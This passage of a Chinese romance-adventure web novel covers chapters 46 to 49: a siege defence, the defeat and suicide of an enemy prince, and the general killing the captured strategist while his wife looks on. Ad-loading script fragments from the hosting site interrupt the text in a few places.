敌军军营中间堆放粮草的地方着起火来,本来就因为主帅受伤惴惴不安的心态顿时崩溃了,反应过来的忙去找水来灭火,没有反应过来的还忙着穿衣服。 有人也发现了梁浅一行人的身影,但是因着火势不能直接冲过来,于是有些人便从梁浅他们来时那边的山坡拿着刀箭追了上来,梁浅一行人只有边迎击边朝另一面撤退。 沈从边用手中的剑阻挡着朝队伍飞来的零散的弓箭,边朝梁浅等人说道:“朝南面去,那里有河!” 梁浅也忙着同众人赶紧往前跑,穿越过来也是第一次这么紧张,感觉肾上腺素飙升到了顶。 同时也听到山下的军营中传来阵阵惨叫,还有兵器击打的声音,还有战斗的声音,梁浅感觉风里一下子有好多声音,慢慢的也逐渐闻到了空气中的血腥味道。 身后的人追得没有那么紧了,反而感觉他们返回去了,几人也不敢懈怠,依旧朝河边跑去。 在终于听到水声的时候,梁浅终于感到了一丝放松,可是空气中的血腥味还是没有消散。 说是河,其实水并不深,河岸也不算宽,众人便跳到了河水中,在感受到河水的冰凉触骨的时候,众人才终于放松了片刻。 原本几人从林中出来到河边的时候是隐约看到对岸有几个敌军在打水,应该是去救火的,众人便躲在乱石后想泡会儿水等人走了之后再出来,可是就在众人都静悄悄等待的时候。 看到石头背后的流出来的水逐渐变得浑浊,逐渐变得鲜红,这是……血! 46. 第四十六章·再次攻城 * 众人瞪大了眼睛,都看着流出来的血水说不出话,梁浅立刻反应过来,然后探出脑袋,然后看到了令她难以置信的一幕。 几个敌军的士兵带着穿着平民衣服的人,将一人带到河边,像牲畜一样杀了,那人的血顺着流到了河里,流到了梁浅的面前。 梁浅瞬间红了眼睛,拿出身后的弩箭,将在河边还拽着一人的敌人直接射中他的手,那人吃痛的抱着手,也放开了抓着的人,然后站出来继续瞄准下一个人,站在一旁的月银原本还想拉住梁浅,可是当他跟着走出来,看着这情景,顿时也红了眼,跟着杀了上去。 这次几个敌人和刚刚守卫不同,不仅身上的甲胄更加完备坚硬,战斗力也更强,梁浅除了第一箭正正射中了那人的手,其他几箭都被对方挡住了。 沈从冲到了所有人的前面,用出了梁浅等人从来没有见过的招式,招招致命,不出几下,便又有一人倒了下去,而月银以前就上过战场,自然知道对方的弱点在何处,一刀一个,鲜血喷涌。 而梁浅也面对着比自己高壮一倍的对手,先是尽力躲避,然后在抵挡不住泰山压顶般的攻击后,朝对手撒去一包药,对手迷了眼睛,手中却还在朝前乱砍,梁浅此时走上前来,躲避着他的刀,然后毫不犹豫的刺去…… 最后一个人,梁浅与他对阵了许久,最后踢下了他的弯刀,伸手稳稳的接住,然后夹在他的脖子上,对方半跪着,不敢动弹,周围的打斗声也停了下来…… 见到其他人都死了,人群中的一个妇女才冲上去抱着躺在河中的人哭喊着…… 身后也传来了马蹄声,萧明渊得了月银和明汐的信便朝这边赶了过来,萧明渊下了马,见到这番情形也不禁倒吸了一口冷气。 又看向几人看去的方向,他看到了梁浅,在敌人的对比下,她一个女子的身影显得那样小,却倔强地拿着一柄敌人的弯刀抵在敌人的脖子上,眼睛通红,满眼的泪却不曾让它掉下来。 月银走到萧明渊身前行礼,然后自然的站到萧明渊的身后,见梁浅仿佛定在的那个地方,便想走上前帮忙,萧明渊却拦下了他。 “将军,还是让我去帮夫人了结罢。”月银又朝萧明渊行礼道。 萧明渊摇了摇头,看着梁浅的身影轻声说道:“让她自己来罢,这份痛苦只有自己咽下才能真正结束,否则午夜梦回,她都还是想回到这里,都走到这里了,她也变了……我相信她。” 梁浅朝对面那人问道:“为什么?难道非杀他们不可吗?” 对面那人听懂了梁浅的话,吞吞吐吐的说道:“主帅说,敌军攻进来,我们得不到的,奴隶,你们,也别想,得到。” 对面那人说罢便又猛的站起来,拿起腰间的短剑想朝梁浅刺过来,梁浅手起刀落,对面便没了动静。 梁浅闭上眼睛,将手中的刀插在地上,看向河边哭泣的人,岸上迷茫的人,林中被惊飞出的鸟,一时感到自己的脚下无力,便要朝后倒去。 一人稳稳接住梁浅,梁浅轻轻靠到那人的胸膛,熟悉的感觉,梁浅抬头看向萧明渊。 萧明渊轻声问道:“还好吗?” 梁浅有些疲惫的问道:“你不问我发生了什么?为什么这样做吗?” 萧明渊轻轻扶住梁浅,让梁浅能站稳,自己则靠着梁浅站在她的身后。 “无论什么事,我都相信你,你尽管去做,我永远在你身后。” “为什么?” “没有那么多为什么?若你非要个理由,我不想你的身后空无一人,我永远会在。” 从小到大,无论穿越前还是到这里之后,好像从来没有一个人说会站在我的身后。 好像以前师父说过让我站在她身后,她护着我,如今,当我独自一人站出来的时候,我的身后也不是空无一人了。 梁浅想着想着便忍不住哭了起来,然后转身抱住了萧明渊,他今天穿的是铠甲,所以怕梁浅的脸被胸前的坚硬的铠甲划伤,萧明渊便俯身抱住了梁浅。 * 梁浅冷静了下来,一行人要了几匹马便打算朝城中赶去,萧明渊扶梁浅上马,梁浅问道:“你不同我们一起过去?” “这里还有一堆事等着我,等我处理好便来城中找你们,我已经派了人过去,如今我再派一队人跟你们一同回去。”萧明渊将梁浅刚刚被掉落在一旁匕首递了过去。 梁浅拿起匕首看了看,然后朝萧明渊笑了笑,然后朝萧明渊抱拳行了个礼,用很潇洒的语气笑着说:“多谢了,嗯……告辞,保重。” 然后梁浅便骑着马潇洒地带着人离开,而萧明渊也立刻严肃了起来,骑上自己的战马带着手下朝另一边出发。 * 梁浅带着沈从月银等人走后,萧明汐也立刻整理起现有的武装装备,又仔细巡查了一遍,交代了哨兵许多事,这才走下城墙。 眼见柳烟晴迎了上来,先是朝明汐温和行礼道:“见过明大人。” “柳娘子快请起,不知柳娘子找我,是有何事?”萧明汐背挺得很直,官方假笑着。 柳烟晴因为在医馆里面待久了,身上淡淡的散发出一股草药香,说话的态度虽然感觉很温柔,但是却很有力量。 “医馆那边还有些事情,是另一位柳公子交代我要来告知大人的,还请大人随我同去。” 听到这话,明汐当然知道柳公子是谁,而自己从来也不想细究眼前的柳烟晴究竟是谁,这些日子相处接触下来,也知道对方并无恶意,与姐姐也是旧相识,应该是可以信任之人。 * 两人来到医馆,柳烟晴领着萧明汐走到了最里面的一个单间,里面有一个全身都被包裹得像木乃伊的人,一只手还半掉着,被子半盖在他身上。 明汐有些疑惑,偏着头问像柳烟晴,“不知这位是?” 柳烟晴走上前去,将那人被子揭开,漏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出了他的左手,而他的左手上有一个烫伤的疤。 明汐皱了皱眉,“这疤……莫非是!” 柳烟晴点了点头,又将那人的被子盖好,然后示意明汐走出门来。 明汐的眼神透露出一份喜悦,这是这段时间最让人开心的消息了,“柳娘子,这是王二?” 柳烟晴也被明汐的情绪感染了,笑着点了点头。 “正是,我与柳公子在这城中第一回见面,她便告知了我来意,也让我留意着左臂有烫伤的男子,昨夜大个儿送来的人都是我在照管,我便留意到了这人,更不说这人说话也不像本地人,且送过来的时候,他身上还带着路引,也都符合。” 明汐不禁激动得拍手,“好!功夫不负有心人,可算找到他了,柳娘子,他身上还有其它物件没有,你都帮我放好罗,这人也劳烦您照看,可千万别让他死了,到时候事情了结束我再请哥哥姐姐一同向您拜谢才是。”明汐说罢,又朝柳烟晴行了一礼。 柳烟晴也连忙拉起明汐的手,“大人言重了,这些事我定会尽力,还请大人不必担心。” 于是两人才走出门,便有人来报,“明大人,敌军又打来了!” 明汐便忙别了柳烟晴,骑上马赶到城门口,果然,上了城墙上,远远就看到一支队伍,打着方曦国的旗子朝这边过来了。 只不过为首的人从吾和变成了他的弟弟原明,萧明汐如今也不再用什么空城计了,只是站在高处冲下面的人喊着,“哟,早上那位怎地不见了,怎又来了位瘦瘦小小的。” 对方被嘲讽却没有半分怒气,只是抬头歪着嘴笑着,“你便是伤我哥哥的那位将军?有些胆色,等我破了城,把你弄来泡酒应该是香甜得很呐。” 城墙上的诸位士兵听了这话都气得牙痒痒,只有萧明汐面不改色,看着对方回了一句,“那就得看你有没有这个本事了,放箭!” 顿时城墙上齐刷刷的射出数支箭来,而对方很明显这次有充分的准备,见正式开战,那人便赶快低下头,周围的人都将盾牌放平,全然遮挡住他,致使箭只能射在盾牌上。 而这些人显然没有之前的人慌乱鲁莽,当萧明汐瞄准下面时隐约又看到了早上见到的那个军师,这才意识到,自己或许真的轻敌了。 大王子吾和虽然长得五大三粗,但是其实是个直肠子,众人信任的军师说什么他便听什么,以至于被人下了套都不知道,对比此时这位四王子带的人,早上大王子带的亲信简直就是乌合之众,装备,战术,实力都不是一个等级的。 现在看来这一切都是四王子已经计划好的,那个军师也定是从一开始就听命于他的,萧明汐刚刚也得了萧明渊的飞鹰传书,他们也到了此地,攻向了敌军军营,而这位四王子出现在这里,定是放弃了他自己的哥哥。 萧明汐不禁冷笑,原来无论到哪里,权力争斗都是如此血腥,当年新帝如此,面前的大王子四王子也是如此。 47. 第四十七章·胜利 对面的敌人还在逐渐靠近城墙,而且远处时不时还会有几人偷偷从盾牌下面站起来朝城墙上射箭。 拒马和燃烧的草垛终究还是阻挡住了骑兵的步伐,于是众人都弃了马儿,在盾牌的掩护下朝城墙靠近。 萧明汐见到这番情景,便悄悄的撤了一半的弓箭手,让众人准备近战,果然对面将梯子藏在盾牌之下,到了城墙下便准备往上面爬。 萧明汐立即下令,让大家拿起之前就搬上来的石头,上来一人就赶紧丢石头下去,萧明汐边指挥着,边鼓舞着士气。 “将士们!我们的身后是我们的家,是我们父母亲人,爱人孩子!我们一定要守住,不能让贼人突破!杀!” 提前准备好的石头逐渐被用完了,而抵挡的士兵体力也明显消耗了太多,于是便逐渐有人爬了上来。 萧明汐原本带着人往侧边瞄准往上爬的人,可准备的箭已经不足,谁让自己当时开仓库的时候发现,本来就库存不足的武器箭矢还有许多发霉了,如今各种东西都是东拼西凑起来的。 萧明汐咬了咬牙,带着弓箭手冲上去帮人抵挡,让刚刚太过劳累的人,退到身后去拿百姓送上来的竹竿。 萧明汐奋力同对手砍杀着,隐约听到身后的呐喊声中好像有柳烟晴的声音…… 柳烟晴原本在医馆准备着各种外伤伤药,以备之后的不时之需,却突然听到城墙上的阵仗比早上第一波攻势还要猛烈,心中顿时就感觉不妙。 忙交代了医馆的各位医师郎中,自己则背着药箱来到了城门口,救治了几位受了箭伤的士兵后,看到竟然有敌军差点就要爬上来了,而周围的其他人也逐渐力竭,于是跑到街上,将附近街道的百姓都叫了出来。 众人见是医馆里心善的那位柳医师,也跟着出来朝柳烟晴问道:“柳医师,你叫我们出来作甚,我们也帮不上什么忙呀。” 柳烟晴将旁边茶摊的凳子拖了出来,站在凳子上,看着众人说道:“如今正是危机存亡之时,在城墙上奋战的将士们是为了我们,我们不能就这样躲在他们的身后,我们齐心协力才能共同护卫住我们生活的地方!” 见众人都低头窃窃私语,却没有人站出来愿意同柳烟晴一起,柳烟晴又继续说道:“张叔,你儿远上京城,前些日子,你的房屋漏了水,是西门的张队长带着人来帮您修的。” “李姐,你家原是在城外的村落中,若不是明大人下令让人将你们都请进来住着,若你还在城外,这时敌军来袭,您和您家人又当如何?” “方大哥,您那日落难进了城中,城中上下从未对您有过不敬,还将您请到坊中好生照顾着,想着您见过杀戮之景,失了亲人,便也没有要求您再上过城墙,是与不是?” 众人此时都沉默了起来,忽而一声熟悉的声音穿入了耳朵,“柳医师,你就只管说怎么做罢。”原来是久未露面的县令大人。 众人听到这话,像是打开了话匣子一般,七嘴八舌的问道:“是啊,柳医师你讲就是。” 柳烟晴感激地看着县令大人,也是没有想到自己曾经暗地里吐槽说碌碌无为的人,竟然还是愿意站出来,心中还是改观了几分,见对方点了点头,柳烟晴也赶紧安排了起来。 有力气的将城中的竹子都砍下来,然后有序的送上城墙上去,其余的人则跟着一起搬伤者,还有胆大的也直接冲上城墙上拿着菜刀去砍敌军和他们的梯子,城门则是大个子带着人抵着。 柳烟晴也跟着忙上忙下,忽而,萧明汐感觉对方也有些松懈了,于是一脚踢开面前的梯子,朝下一看,原来他们也学会了火攻,正打算将着火的箭朝城中射去,而此时他们的距离也靠近了。 萧明汐立刻提醒众人戒备,“是火攻,小心!”众人也依次传话下去,在柳烟晴刚刚听到的这话时,冒着火的箭便射进了城中。 柳烟晴跟着众人救火,还好之前在明汐的安排下,收集了水缸水盆,且都装上水放在街上,加之众人齐心协力,不一会儿火便灭了,火势也没有起来。 萧明汐见状,又吩咐弓箭手捡起地上的箭矢继续瞄准对方的弓箭手射箭,自己也站到另外一个梯子前用力推着梯子,可是却发现怎么都推不动,下一秒四王子原明便出现在了她的眼前。 萧明汐用力一刺,便跟着原明一起掉了下去,虽然萧明汐的轻功没有无面好,但是这点反应力和实力她还是有的,直接将对方当做肉垫踩在脚下。 原明不服,便要抽刀朝萧明汐砍去,萧明汐也同他对打起来,而对方因为这一摔,显然有些力不从心,可是招式却招招克服着萧明汐,身后又有人来攻击萧明汐。 萧明汐感受到一只箭从自己身后飞了过去,射中了正要偷袭的人,城墙上传来带有些许疲惫但高兴的声音,“是援军!萧家军来了!” 萧明汐余光瞥见了骑着马赶过来的部队,只不过为首的人并不是自己的哥哥,而是……无面。 萧明汐继续同周围的敌人对阵着,时不时还将梯子推倒不让人再爬上去。 无面也拿起了刀从马上飞过了火墙,跳到了明汐的身前,同她一起迎敌。 两人背靠着背,共同面对着与自己对峙的敌人,无面问道:“明汐,你可还好?” 萧明汐弯了弯嘴角,“放心,好得很,我的后背就交给你了。” “包在我身上!” 于是两人配合默契的在混乱中击杀着敌人,萧明汐作为弓箭手,力气体力自然不差,用的招数也非常灵活,而无面则是边用刀防御着,又掏出一些奇奇怪怪的暗器朝对面飞去。 此时的敌军已经被打得很散乱了,无面带来的人马也在外围对阵,忽而,又是一阵马蹄声,是梁浅赶到了。 梁浅身后的人挥动着旗帜,四王子带的人眼见此时他们的部队人数已然不是优势,便有了颓势,梁浅顺势说道:“降者 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不杀,想活命的,速速放下兵器,可饶之不死!” 本就没有士气的方曦国士兵便放下了手中的兵刃,梁浅也一路高喊着朝里面冲来,萧明汐和无面此时也将周围的敌军都杀了个片甲不留,只有四王子还在做困兽之斗。 看到周围的士兵都放下了武器,梁浅也走了进来,萧明汐还在不断逼近着,四王子终于彻底没有了力气,也拖着兵器狂笑着,萧明汐正打算冲上去给他制伏,梁浅伸出来手。 “慢,明大人。”萧明汐也停了手看着四王子原明。 “哈哈哈哈,这是干什么,看不起我?来啊,再战啊。”原明拖着武器在空中无力的挥砍着,却伤不到任何人。 原明转头看向梁浅冷冰冰的眼神,梁浅也回望着他,然后半晌才吐出几个字,“降者不杀。” 这仿佛彻底击溃了原明的心理防线,他放下兵器,跪在地上闭着眼叹息着。 “终究我还是败者,我还是输了,母亲。” 原明从怀里拿出了一只木簪,喃喃自语道:“母亲,你最爱的木簪你都只留给大哥,不留给我,我只想证明我比大哥更强,可是我好像还是输了。” 梁浅下马同萧明汐站在一起,自然也听到了原明的喃喃自语,梁浅刚打算叫人上前去压住这位四王子,打算后面才仔细审问。 结果没成想,原明说完话仰头流下了泪,“是啊,弱肉强食的道理谁又不知。” 下一刻他便毫不犹豫的将木簪插进了自己的脖颈…… 因为敌军投降,所以城门慢慢也打开了,周围都在扶伤兵进去,柳烟晴也跟着出来了。 梁浅看到在这一幕忙冲了上去,按住原明的伤口,防止血流得太多,嘴里喊着,“医师医师。” 柳烟晴听到梁浅的声音也赶了过来,有条不紊的伸手帮梁浅按住伤口查看伤势,梁浅则站到了一旁,“怎么样?” 看着已经闭上眼睛的原明,柳烟晴又摸了摸脉搏,还是松开了手,摇了摇头,“本来他就身受重伤,这木簪,也是致命之伤,更何况,他也全然不想救生。” 无面走上前来抱着手感叹道,“真是可恨之人也有可怜之处,哼,可怜是真可怜,可恨也是真可恨。” 萧明汐也说道:“可惜,还指望他能说点什么情报出来。” 梁浅走了过来,朝柳烟晴行礼道:“好了,还得劳烦柳娘子继续照看伤员,我们随队的军医也会过来帮忙。” “明汐,你回到城中去查看下城中百姓状况。” “无面,你跟着李将军一起将俘虏都押送至萧家军营,待上报朝廷后听候发落。” 几人点头应好,无面也正打算转身走开,忽而想到了什么,转过身来对梁浅问道:“那你干嘛?” 梁浅轻笑一声,“貌似眼前的人里还没有见到他们的那个军师,待我去将这人追来,这件事才算了结。”说罢,梁浅便翻身上了马。 48. 第四十八章·他的另一面 因着只要追那一个人,所以梁浅便让沈从带着其他人留下帮忙,就自己和月银追了上去。 梁浅同月银一起顺着自己刚刚瞥见的那人跑的方向追踪着,梁浅在野外的追踪能力没有月银厉害,所以月银走在前面,月银时不时提醒着梁浅。 “夫人,小心这里有个水坑。” “夫人,小心这草上有刺。” “夫人,小心这挂着的树枝。” 梁浅积极认真的回答着,“嗯,好。” “嗯嗯,多谢。” “嗯,没事。” 月银又说道:“夫人,这里……” “好,月银,你专心追踪,我跟着你就是,还有,可不可以别叫我夫人了?”梁浅笑着有些无奈地说道。 月银走在前面听到梁浅的话挠了挠头,“不叫您夫人,那?” 主要是月银一直这样叫着自己,梁浅心里自然知道月银是尊重自己,但一方面总觉得现今有些怪怪的,另一方面也不太喜欢夫人这个称谓。 两人继续向前走着,梁浅则在身后“要不你叫我大人?唉,但我确实也不是什么官,那要不你像大个儿他们一样叫我头儿?”梁浅确实也想暂时暂时满足自己的小虚荣心。 “可是我的头儿是萧将军,都叫做头儿了,一个人只有一个头,所以我只……”月银叽里咕噜的念叨了起来。 梁浅叹了叹气,“好了好了,不用了,你就一个头儿,在你脖子上。” 梁浅无奈的摇了摇头,而月银也突然停下了脚步,“夫人,你看。”月银作出噤声的手势,又示意梁浅朝另一边看去。 原来吕智跑得累了,在一处空地坐着休息了起来,梁浅正想走出去抓人,月银又说道:“他像是在等什么人。” 于是梁浅便和月银躲在隐蔽处等着,可过了好一会儿都没有人来,梁浅感觉自己要被蚊子吃了,闲的无聊,便和月银小声的搭起话来,“话说月银你和万星是亲兄弟吗?怎地名字又像又不像的。” 月银的眼神始终盯着远处的吕智,听到梁浅的话,便下意识回答道:“我们是拜把子的‘亲’兄弟,至于名字,是将军取的。” 见梁浅听到这里有些感兴趣的偏了偏头,月银才继续低声说着。 “有一年我和月银跟着将军出征,回来的途中遇到了敌袭,我们三人与队伍走散,在荒漠中前行,将军问起我和月银的名字,我们两人说没有名字,只有入了军营才有个编号,我们那时大字不识,便请将军为我们起个名字,将军说就以天上的星月命名,像我们这样在黑夜寻路的人,只要抬头看到星与月,就一定能找到回去的路。” 梁浅听完沉默了片刻,才稍微转头对月银笑着说,“嗯,确实,能平安回来了就好。” 然后梁浅又低下头喃喃自语道:“也不知道他怎么回事,你们这一路走来如此不易,当着将军权势如山,回来给个大理寺的官还乐呵呵的,看来是以前就这么乐观?” 才说罢,吕智便站起了身,像是看到有谁来了,梁浅和月银忙噤了声。 一个黑衣黑袍的人走到了吕智身前,吕智着急的走到他身前,给对面展示着自己身上的伤。 “哎哟,大人呐,您怎的才来呀,小人这满身的伤啊,差点小命都没了。”吕智毕恭毕敬的朝对面描述着他的惨状。 对面的人只是冷冷的说:“谁让你计谋有失的,如今上面的人要的东西你都没拿到,要做的事没有做成,还跟着怂恿失了碧峰县,我能来见你,算给你面子了。” “大人这样说是要弃了我了?我为大人做了这么多事,大人这就是要全然弃我了?”吕智说着说着边有些气急败坏,“好,那我就直接告到京城,告到陛下面前去,让你们都死,哪怕赔了这条命。” 黑衣人冷笑一声,“那就去死罢。” 下一刻,黑衣人便伸手要朝对方劈砍去,月银忙飞出一颗石头,正好打中那人的手,两人也立刻惊觉回头。 梁浅和月银也立刻冲了出来,而黑衣人转过身来脸上也还带着面具,见到对面的人冲了过来,也顾不得要杀吕智,便飞身逃走了,而吕智也吓了一跳,愣了半刻才转身朝另外一面跑去。 梁浅便朝月银喊道:“你去追黑衣人,他身手更厉害,我去追另外那人。” 月银点了点头便朝黑衣人追去,而梁浅则朝吕智的方向追去。 结果吕智这人仿佛是死里逃生吓得魂不附体了,跑得飞快,而梁浅在山野的追踪能力也没有月银厉害,眼见天就逐渐黑了。 梁浅吹亮火折子的火,在黑夜的山林里面摸索,终于找到了一间荒野破庙,梁浅便走了进去,见还有草席,便将草席竖着靠墙,自己躲在草席的后面。 “还想着当时就能抓到回去,没有想到这人这么能跑,唉,万一有什么豺狼虎豹的,还是先躲一晚吧。”梁浅自言自语的给自己整理了一下衣服,便靠在墙边睡着了。 一阵冷风透过窗户吹了进来,梁浅不禁打起了寒战,正打算站起身去关窗户,却听到外面传来逐渐嘈杂的声音。 听着像是一群骑着马的人在追谁,梁浅决定按兵不动,结果下一刻,便听到有人好像撞开了大门,摔了进来,梁浅透过草席的缝隙一看,眼前躺在地上呻吟的正是吕智。 窗外好像来了很多人,火把将屋外照得很亮,接着听到屋外有人下马的声音,梁浅感觉此刻的气氛紧张到了极致,自己都好像忘记了呼吸。 吕智在地上痛得爬都爬不起来,而后一个身影走了进来,这幅盔甲梁浅很熟悉,今天自己近距离接触过,是萧明渊。 只不过萧明渊此时的脸色比自己以前见到的要冷太多,以前自己虽然总是读不懂他一天在想些什么,可萧明渊在自己面前还是和颜悦色的,以至于这段时间的相处都让梁浅淡忘了,他是那个从尸山血雨中爬出来的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冷血将军。 万星跟在身后走进了屋子,顺手关上了门,屋里就只有万星手里的火把有着些许光亮。 萧明渊冷冷地说道:“死到临头,吕军师还不打算交代?还打算逃到何处去?” 万星跟着补充道:“如今陛下自然不会再要你,方曦国的两个王子也在你所谓计谋的带领下死了,你觉得还有哪里会容得下你吗?还不从实交代,将军说不定还给你留个全尸。” 吕智忙不顾身体上的疼痛,跪到萧明渊的面前,恭敬地磕着头,“将军将军,我定是知无不言言无不尽,只不过还请那位大人手下留情。 吕智边说着,便抬头悄悄偷看万星,万星举着火把,是这屋子里唯一的亮源,万星稍微一抬手,他都吓得打寒颤,看来刚刚他“飞”进来也是因为这个原因。 萧明渊看着吕智,然后冷冷地说道:“说,你的背后到底是谁,这一切究竟是谁指使的。” 吕智听到这话犹豫了起来,可是此时站在一旁万星有往前走了一步,将一堆书信丢在了智的面前。 然后万星说道:“这些,是你和碧峰县的探子通信的信件,其中还有你一年前出境时用的假身份文书,你偷偷跑到方曦国,还跟几位王子身边当着军师,还和人倒卖武器,人证物证具在,这么多证据,不是一个当年的小小书生就能做到的罢,还不快说!” 吕智见到万星又朝前走来,万星忙着急的回应,“我说我说,可,可我只知道,是一个黑衣人,江湖上都叫他,叫他别样红……但他背后的人是谁,我不知道,好像是个位高权重的……” 萧明渊眯着眯眼睛,喃喃念着,“别样红。” 萧明渊看向了万星,万星点了点头,然后蹲了下来,对着吕智说道:”嗯,把你知道的,所有细节都写下来,之后随我们去京城,到时候指认了人,说不定还能保你一条命。” 吕智颤颤巍巍的接过万星递过来的纸笔写了起来,萧明渊看着俯首在自己面前的人,又朝他问道:“倒卖武器的人是怎么和你联系的?” 吕智写得满头大汗,听到萧明渊这一问抬起了头,“每,每月十三,我们会在山牙峰下的一个破庙□□……” 吕智刚说完一句话,就好像触动了萧明渊和万星的某些方面,梁浅感觉房间里面的气氛又变得凝固了。 萧明渊冷冷地问道:“你说,山牙峰?” 吕智听到萧明渊的话,突然像是想到了什么一样,又跪在地上磕起了头,颤颤巍巍地说道:“将军,将军放心,小人不会把将军私兵的事情说出去的……” 梁浅在一旁看着这个引发这场祸端的人,暗自感叹,这人也太笨了吧。 吕智继续说着,“我当时确实……有遇到过一队……并非萧家军的人……将军……我不会……” 下一刻,他便僵住了,鲜血顺着他脖颈的剑伤流了出来,然后失去了气力,歪着倒了下去…… 49. 第四十九章·良配 吕智身上的血跟着杀他的剑溅到了一旁的草席上,也直接溅到了梁浅的眼前。 梁浅瞬间破功,轻声惊呼,忙下意识地捂住了自己的嘴。 忽而眼前的草席被拉开了,梁浅也看到了提着剑的萧明渊,他手中的剑还滴着血,而他脸上的冷意也在看到梁浅的瞬间消散了。 萧明渊忙丢开剑,蹲下来急切地询问着梁浅的状况,“娘子,你怎么样?” 有了上次在京城的前车之鉴,萧明渊也及时忍住自己想问对方为何又单独行动的欲望,见梁浅没有说话,只是解下自己身上的披风披到了梁浅身上,还细心的系好。 而梁浅也瞥见萧明渊背后的万星在看到梁浅后,收了收手中的剑,将自己的披风解下来盖住了倒在地上的吕智身上。 梁浅半晌才反应过来,朝着萧明渊点了点头,萧明渊这时候仿佛才松了一口气,笑着对梁浅说:“那我们便回去罢。” 梁浅看着萧明渊伸出的手,犹豫了片刻还是伸出了自己的手,跟着他走了出来。 出门前梁浅有注意到万星一直盯着自己,在自己要走出门的时候来拉住了萧明渊,但萧明渊摇了摇头,径直拉着梁浅走了出来,而万星则留在后面善后。 黑暗里只有这一队人点着火把前行,梁浅坐在萧明渊身前,队伍之外的黑暗触不可及,只听得一阵阵风吹动树叶的声音。 梁浅往后靠了靠,以便确保让萧明渊能听到自己的声音。 梁浅淡定地朝萧明渊问道:“夫君不杀我吗?” 只听得头顶传来萧明渊熟悉的声音,“为什么要杀你?”梁浅听他说这话时不免觉得他好像轻声笑了一下。 “我知道了你的惊天大秘密不是?于你而言,知道秘密,是不是就要杀掉,就像吕智一样。”梁浅有些满不在乎地回答起萧明渊的问题。 “于我而言,你和其他人不一样,我怎会杀你。” 梁浅见萧明渊说得含糊,便没有再追问下去,只是心想反正这个人还算是挺遵守承诺的,以前自己和他约定的事情,他还是都有遵守,应该不至于以后反悔要自己的小命吧。 一阵冷风吹来,梁浅不禁觉得有些许凉意,便拢了拢自己身上的衣服,萧明渊也注意到了眼前人的动静,将马儿骑得更慢了些。 “你怕了?” “什么?哦,今日见了那么多事,也算是经历了生死,这都小场面,我不怕。” 梁浅以为萧明渊是在问自己见到吕智被杀是不是被吓到了,于是就直接将自己今日的经历作为借口回了他。 这也确实是梁浅心底的实话,虽然以前才做刺客的时候总有师父在,梁浅其实从未接触过真正血腥残忍的一面,但这些日子见到的刀光血影太多,自己的心理防线很多次被击破,又快速被重建。 “我是说,你怕我吗?” “怕你什么?” “怕我不是一个良配,不是前途似锦的新官,不是皇帝信任的那个近臣,全然不是你想象的样子,反而与你认识的那个人大相径庭……血腥残暴,甚至可能是个乱臣贼子。”萧明渊有些情绪低落,低声同梁浅说道。 梁浅思索了片刻,“哦,我本来也没有觉得你是什么良配啊。” 梁浅的一句话彻底击溃了萧明渊自己刚刚为自己设立千万种猜想,萧明渊笑出了声,确实,这个天马行空古灵精怪的人,这种反应才是自己真正认识的样子。 “你知道在我们成婚之前,人们都怎么说你吗?” 萧明渊一直觉得梁浅说话特别有意思,此时也觉得有些好笑,于是好奇地顺着梁浅的话问道:“怎么说的?” “与你而言应该无所谓啦,无非就是什么战场上杀人无数的冷血将军,权势滔天统帅萧家军的战神,哦哦,还有被夺权回京的新帝之手,冷酷无情,杀人无数…… 你觉得一个女子听了这些,还会觉得你是良配?”梁浅噼里啪啦说了一大堆,自己在萧明渊面前从来没有这么放松过,竟然在此刻感觉十分轻松地就说了出来。 以前总是屏着一口气同他交往,他说的话梁浅都要猜测半天。 他这句话是不是在暗示什么,他这次是不是在试探自己,而如今,在自己仿佛知道他更多秘密的时候,两人的相处却好像鬼使神差地变得更自然了。 “这听着确实不像良配,可我们婚后我尽力在做得好,你也没有觉得我有什么不同?或者说我如今可当的上良配二字了?” “欧?你做什么良配做的事情了,你说说?”梁浅饶有兴趣的抱着手听着萧明渊说话。 萧明渊的脸色比刚刚放松不少,脸带笑意的回忆起来,居然真的细细给梁浅数了起来。 “咳咳,婚前我给你置办了许多首饰衣服罢,虽然那都是我在京城数一数二的店铺置办的,但都是身外之物,不值一提……” 萧明渊一脸想隐藏自己尽力低调的做作样子惹得梁浅发笑。 仔细一想,确实自己上京没有带什么衣服,柜子里也确实有挺多衣服,但是那个审美……确实都是现在京城比较流行的款式,足够奢靡,足够……浮夸? 于是梁浅有些好笑的哦了一声,“嗯,你自己也说,这不值一提。” “那还有,我怕你吃不惯这里的菜,所以厨房专门请了好几个你老家的厨子给你做家乡菜,还有婚前,我遣万星去柳宅问你喜欢吃什么,万星说没有见到你人,只得了个爱吃樱桃的话,我便在府中买了无数的樱桃,让你所到之处都能吃到樱桃……” 梁浅听到这里才惊觉,哦,原来师父当时是靠着这个由头进来的,嗯,真是高手,嗐,萧明渊八成现在都不知道有个厨子都已经“跳槽”走了?还有樱桃,原来是这样。 “还有那颗桃树,也是我的心思不是?”萧明渊语气十分温和地说着,偏头偷偷去看向梁浅的反应。 见梁浅好像并没有什么反应,心里有些失落,于是便有些撒娇式的口吻有些弯下腰去抱着梁浅,在她耳边说着话。 “娘子,你走的这几日,家里没有你我都不想回去,心里总觉得空落落的,心里头不畅快得紧。” 梁浅耳朵被人蹭得痒,梁浅调侃道:“嘶,哦,可我见你回京城,皇帝随便给个小官也每日做得乐呵呵的,从武到文,从一军将领到一个大理寺查案的,也没有见你有什么不畅快哩,这些不都是你们男人最在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乎的?” “娘子此言是对我前途堪忧,怕我供不起娘子? 还是娘子还在怪我不像寻常人家样给娘子管家?可是生气了?”萧明渊有些着急地看向梁浅,明明坐在梁浅身后,却还倾了半个身子去看梁浅的表情。 梁浅被他看得不好意思,也怕在马上坐不稳,忙伸手推他回去,“你又在扯什么?我没有生气,你坐好。” “哦,内宅之事,我确实是有些迟钝,但明汐提醒我后,府中的谣言我都断了,私下克扣物品妄议娘子的人我也都处置了。 